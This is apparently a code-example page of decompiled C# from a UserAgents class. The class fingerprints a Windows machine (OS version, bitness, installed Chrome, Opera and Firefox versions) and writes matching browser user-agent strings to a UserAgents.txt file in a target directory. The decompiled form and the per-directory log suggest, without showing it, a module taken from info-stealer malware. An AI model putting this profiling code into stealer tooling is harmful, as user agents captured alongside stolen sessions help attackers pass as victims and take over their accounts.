예제 #1
0
 // Token: 0x06000013 RID: 19 RVA: 0x000039C4 File Offset: 0x00001BC4
 public static string GetOSBit()
 {
     if (UserAgents.Is64Bit())
     {
         UserAgents.razr = "x64";
         return("x64");
     }
     UserAgents.razr = "x32";
     return("x32");
 }
예제 #2
0
        // Token: 0x06000011 RID: 17 RVA: 0x00003538 File Offset: 0x00001738
        public static string GetNTVersion()
        {
            string result;

            try
            {
                result = UserAgents.GetOsVer();
            }
            catch (Exception)
            {
                result = string.Empty;
            }
            return(result);
        }
예제 #3
0
        // Token: 0x06000010 RID: 16 RVA: 0x000034D0 File Offset: 0x000016D0
        private static string GetOsVer()
        {
            string result;

            try
            {
                using (ManagementObject ntversion = UserAgents.GetNTVersion("Win32_OperatingSystem"))
                {
                    result = ((ntversion != null) ? (ntversion["Version"] as string) : string.Empty);
                }
            }
            catch (Exception)
            {
                result = string.Empty;
            }
            return(result);
        }
예제 #4
0
        // Token: 0x06000012 RID: 18 RVA: 0x00003568 File Offset: 0x00001768
        public static void Get_agent(string dir)
        {
            UserAgents.GetOSBit();
            UserAgents.NT = UserAgents.GetNTVersion();
            string[] array = UserAgents.NT.Split(new char[]
            {
                '.'
            });
            string text = string.Empty;

            if (array.Contains("10"))
            {
                text = "Windows NT 10.0";
            }
            if (array.Length > 1 && !array.Contains("10"))
            {
                text = "Windows NT " + array[0] + "." + array[1];
            }
            try
            {
                using (StreamWriter streamWriter = new StreamWriter(dir + "\\UserAgents.txt"))
                {
                    if (Directory.Exists(Environment.GetEnvironmentVariable("LocalAppData") + "\\Google\\Chrome\\User Data"))
                    {
                        object value = Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe", "", null);
                        string fileVersion;
                        if (value != null)
                        {
                            fileVersion = FileVersionInfo.GetVersionInfo(value.ToString()).FileVersion;
                        }
                        else
                        {
                            value       = Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe", "", null);
                            fileVersion = FileVersionInfo.GetVersionInfo(value.ToString()).FileVersion;
                        }
                        if (UserAgents.razr == "x64")
                        {
                            streamWriter.WriteLine(string.Concat(new string[]
                            {
                                "Mozilla/5.0 (",
                                text,
                                "; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/",
                                fileVersion,
                                " Safari/537.36"
                            }));
                        }
                        else
                        {
                            streamWriter.WriteLine(string.Concat(new string[]
                            {
                                "Mozilla/5.0 (",
                                text,
                                ") AppleWebKit/537.36 (KHTML, like Gecko) Chrome/",
                                fileVersion,
                                " Safari/537.36"
                            }));
                        }
                    }
                    if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Opera Software\\Opera Stable\\Web Data"))
                    {
                        try
                        {
                            string text2       = Registry.GetValue("HKEY_CURRENT_USER\\Software\\Classes\\Applications\\opera.exe\\shell\\open\\command", "", null).ToString();
                            string fileVersion = FileVersionInfo.GetVersionInfo(text2.Remove(text2.Length - 6, 6).Remove(0, 1)).FileVersion;
                            string text3       = string.Empty;
                            string empty       = string.Empty;
                            if (fileVersion.Split(new char[]
                            {
                                '.'
                            }).First <string>().Equals("54"))
                            {
                                text3 = "67.0.3396.87";
                            }
                            if (fileVersion.Split(new char[]
                            {
                                '.'
                            }).First <string>().Equals("55"))
                            {
                                text3 = "68.0.3440.106";
                            }
                            if (fileVersion.Split(new char[]
                            {
                                '.'
                            }).First <string>().Equals("56"))
                            {
                                text3 = "69.0.3497.100";
                            }
                            if (fileVersion.Split(new char[]
                            {
                                '.'
                            }).First <string>().Equals("57"))
                            {
                                text3 = "70.0.3538.102";
                            }
                            if (UserAgents.razr == "x64")
                            {
                                streamWriter.WriteLine(string.Concat(new string[]
                                {
                                    "Mozilla/5.0 (",
                                    text,
                                    "; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/",
                                    text3,
                                    " Safari/537.36 OPR/55.0.2994.44"
                                }));
                            }
                            else
                            {
                                streamWriter.WriteLine(string.Concat(new string[]
                                {
                                    "Mozilla/5.0 (",
                                    text,
                                    ") AppleWebKit/537.36 (KHTML, like Gecko) Chrome/",
                                    text3,
                                    " Safari/537.36 OPR/55.0.2994.44"
                                }));
                            }
                        }
                        catch (Exception)
                        {
                        }
                    }
                    if (File.Exists("C:\\Program Files\\Mozilla Firefox\\firefox.exe"))
                    {
                        object value2 = Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\firefox.exe", "", null);
                        string fileVersion;
                        if (value2 != null)
                        {
                            fileVersion = FileVersionInfo.GetVersionInfo(value2.ToString()).FileVersion;
                        }
                        else
                        {
                            value2      = Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\firefox.exe", "", null);
                            fileVersion = FileVersionInfo.GetVersionInfo(value2.ToString()).FileVersion;
                        }
                        string text4 = string.Empty;
                        text4 = fileVersion.Split(new char[]
                        {
                            '.'
                        }).First <string>() + "." + fileVersion.Split(new char[]
                        {
                            '.'
                        })[1];
                        if (UserAgents.razr == "x64")
                        {
                            streamWriter.WriteLine(string.Concat(new string[]
                            {
                                "Mozilla/5.0 (",
                                text,
                                "; Win64; x64; rv:",
                                text4,
                                ") Gecko/20100101 Firefox/",
                                text4
                            }));
                        }
                        else
                        {
                            streamWriter.WriteLine(string.Concat(new string[]
                            {
                                "Mozilla/5.0 (",
                                text,
                                "; rv:",
                                text4,
                                ") Gecko/20100101 Firefox/",
                                text4
                            }));
                        }
                    }
                }
            }
            catch (Exception)
            {
            }
        }